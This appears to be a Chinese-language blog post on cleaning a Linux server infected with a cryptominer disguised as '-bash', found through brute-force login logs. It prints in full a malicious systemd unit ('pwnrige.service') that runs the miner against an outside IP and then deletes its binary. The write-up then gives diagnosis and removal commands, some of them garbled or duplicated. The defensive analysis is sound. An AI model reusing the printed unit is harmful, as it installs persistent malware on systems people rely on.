某天登录LINUX服务器,发现有几千次登录失败的记录,查看登录日志tail -200 /var/log/secure,发现不断有另一台内部机器在不断的换着用户尝试连接(就是暴力连接),在top查看服务器的资源使用情况,发现有一个-bash(伪装的名称)的程序,几乎占满了cpu资源。注:可以配置 Fail2ban 自动防御这种不断尝试攻击。
日志文件的内容:
异常的程序:
2437691 opoopo 15 -5 2469616 24460 4 S 795.3 0.2 2:10.49 -bash
异常点:
1、极高的CPU占用(795.3%)
正常 bash 进程几乎不占用CPU,而此进程消耗近 8个核心的满载资源,极可能是挖矿木马或恶意脚本在运行。
2、进程名伪装为 -bash*
正常的交互式Shell会显示 -bash,但恶意程序常伪装成常见进程名(如 bash、sh、httpd)。
进程号异常(PID 2437691)
高PID值可能表示进程是近期启动的(系统重启后PID会重置)。
3、优先级异常(NI=-5)
优先级被调整为 -5(比普通进程更高),可能是攻击者人为设置的。
4、杀死进程后,又会自动重启,说明有守护进程。
排查步骤:
- 查看进程的完整命令行
sudo cat /proc/2437691/cmdline | tr '\0' ' '
- 定位进程所在路径
sudo ls -l /proc/2437691/exe
结果是:/proc/2437691/exe -> ‘/usr/bin/-bash (deleted)’,表明启动后被删除了,不是真实的路径。
3. 检查进程的子进程
pstree -aps 2437691 # 查看进程树
- 检查 /tmp/、/dev/shm/ 等临时目录下是否有异常程序,检查定时任务、检查检查恶意 systemd 服务中是否有异常程序。
sudo ls -la /tmp/ /dev/shm/ /var/tmp/
sudo find /tmp/ -name "*.sh" -o -name "*.elf" -o -name "*.so"
ll /etc/systemd/system/
ls -la /etc/cron.* /var/spool/cron/
发现有一个奇怪的程序:pwnrige.service
cat pwnrige.service
[Unit]
Description=pwnrig
Wants=network.target
After=syslog.target network-online.target
[Service]
Type=forking
ExecStart=/bin/bash -c 'cp -f -r -- /bin/sysdr /bin/-bash 2>/dev/null && /bin/-bash -c -ip 64.23.131.8 -dp 443 -tls -dp 80 -dp 3
333 -p 443 -tls -p 80 -p 3333 -k >/dev/null 2>&1 && rm -rf -- /bin/-bash 2>/dev/null'
Restart=always
KillMode=process
[Install]
WantedBy=multi-user.target
从文件内容来看,这是一个疑似高度恶意的 systemd 服务,其作用是持久化运行一个挖矿木马或后门程序,真实路径是:/bin/sysdr /bin/-bash,64.23.131.8这是一个美国IP,执行后删除自身,隐藏痕迹。
5. 删除这个服务,删除真实的程序
立即停止并删除服务
sudo systemctl stop pwnrige.service
sudo systemctl disable pwnrige.service
sudo rm -f /etc/systemd/system/pwnrige.service
sudo systemctl daemon-reload
终止恶意进程# 查找所有名为 -bash
或 sysdr
的进程
sudo pkill -f '/bin/-bash'
sudo pkill -f '/bin/sysdr'
删除恶意文件、服务
sudo rm -f /bin/sysdr /bin/-bash
sudo rm -f /etc/systemd/system/pwnrige.service
sudo rm -f /etc/cron.d/pwnrig \
chattr -ia /etc/cron.d/pwnrig \
/etc/cron.hourly/pwnrig \
/etc/cron.daily/pwnrig \
/etc/cron.weekly/pwnrig \
/etc/cron.monthly/pwnrig
/et
c/cron.hourly/pwnrig \
/etc/cron.daily/pwnrig \
/etc/cron.weekly/pwnrig \
/etc/cron.monthly/pwnrig
这里有可能删除不掉,报不允许的操作。
需要检查文件属性:
lsattr /etc/systemd/system/pwnrige.service
解除锁定,如果输出包含 i(不可修改)或 a(仅追加)等属性,需先解除锁定。
sudo chattr -ia /etc/systemd/system/pwnrige.service
6、检查其他感染痕迹
检查定时任务:
crontab -l
sudo ls -la /etc/cron.*
检查网络连接:
sudo netstat -tunlp | grep -E '64.23.131.8'
全盘扫描恶意文件:
sudo find / -name "sysdr" -o -name "*-bash" -mtime -30
5. 封禁恶意IP
sudo iptables -A INPUT -s 64.23.131.8 -j DROP
sudo firewall-cmd --add-rich-rule='rule family="ipv4" source address="64.23.131.8" reject' --permanent
sudo firewall-cmd --reload
重新安装被篡改的工具:
sudo apt reinstall bash coreutils -y # Debian/Ubuntu
sudo yum reinstall bash coreutils -y # RHEL/CentOS
扫描 Rootkit:
sudo rkhunter --check
最后说一句,还是要管好服务器,严禁使用ROOT用户来安装各类软件,严禁使用非官方的软件插件,从源头管起。